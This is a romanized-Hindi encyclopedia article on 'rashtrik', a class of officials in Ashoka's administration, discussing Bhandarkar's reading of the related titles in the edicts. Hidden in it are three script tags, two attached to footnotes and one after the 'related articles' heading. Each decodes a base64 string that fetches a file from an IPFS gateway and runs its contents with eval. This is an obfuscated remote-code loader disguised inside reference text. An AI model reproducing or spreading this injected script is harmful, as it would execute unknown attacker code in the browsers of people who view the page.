राष्ट्रिक
rashtrik ashok ke ek adhikari varg ka nam tha. rashtrik log sambhavat: zile ke kuchh bhag oopar rakhe jate the.[1] ashok ke abhilekhoan mean kee adhikariyoan ka ullekh milata hai. jaise rajuku, pradeshik, yukt adi. inamean adhikaansh rajyadhikari chandragupt ke samay se chale a rahe the. ashok ne dharmik niti tatha praja ke kalyan ki bhavana se prerit hokar unake kartavyoan mean vistar kiya. keval dhamm mahamatroan ki niyukti ek navin prakar ki niyukti thi.[2]
sandarbh
bhandarakar ne apani pustak 'ashok' mean likha hai - 'ratthik pettanik' padavali aanguttar nikay mean us shasak ko soochit karane ke lie prayukt huee haian jisaka darja nichala, raja se thik pichhala hai, jisake pas mauroosi sampatti ho." isalie ashok ke lekhoan mean prayukt 'rastik-petanik' ko ek shabd manana chahie, jo "kisi rashtr ya paant ke anuvanshik (yani mauroosi) shasak ka vachak hai, chahe shuroo mean us shasak ka poorvaj kisi raja dvara niyukt rajyapal hi raha ho. prachin bharat mean aise kitane hi shasak hue hoange. parantu shila prajnapan 5 mean ullikhit shasakoan ko hamean kahian pashchimi tat ke logoan - mean rakha gaya hai. svabhavat: ye vahi mane jaeange jo pashchimi bharat ke gupha lekhoan mean 'maharathi' kahe gaye haian -ye chhote shasak maloom hote haian, jinaka poona aur maharashtr ke as-pas vale ziloan par adhikar tha. in lekhoan mean mahabhojoan ka bhi chhote shasakoan ke roop mean, tatha banbee praant ke varttaman thana aur kolaba ziloan ke adhipati ke roop mean ullekh hai. ve nishchit roop se vahi hoange jo shila prajnapan 13 ke bhoj-petanik haian, aur ye aparaant ki koee aur jati the jisaka ullekh shila prajnapan 5 mean dhvanit hota hai. prachin kal aparaant ki rajadhani 'shoorparak'[3] thi, jahaan chaudah shila prajnapanoan ki ek prati bhi mili hai.[4]
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tika tippani aur sandarbh
- ↑ bhatt, janardan ashok ke dharmalekh (hiandi). nee dilli: prakashan vibhag, 120.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ashok (hiandi). . abhigaman tithi: 24 sitambar, 2011.
- ↑ ajakal ka sopara, jo thana zile mean hai
- ↑ bhandarakar, di.ar. ashok (hiandi). es.chand eand kampani location =nee dilli, 30.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>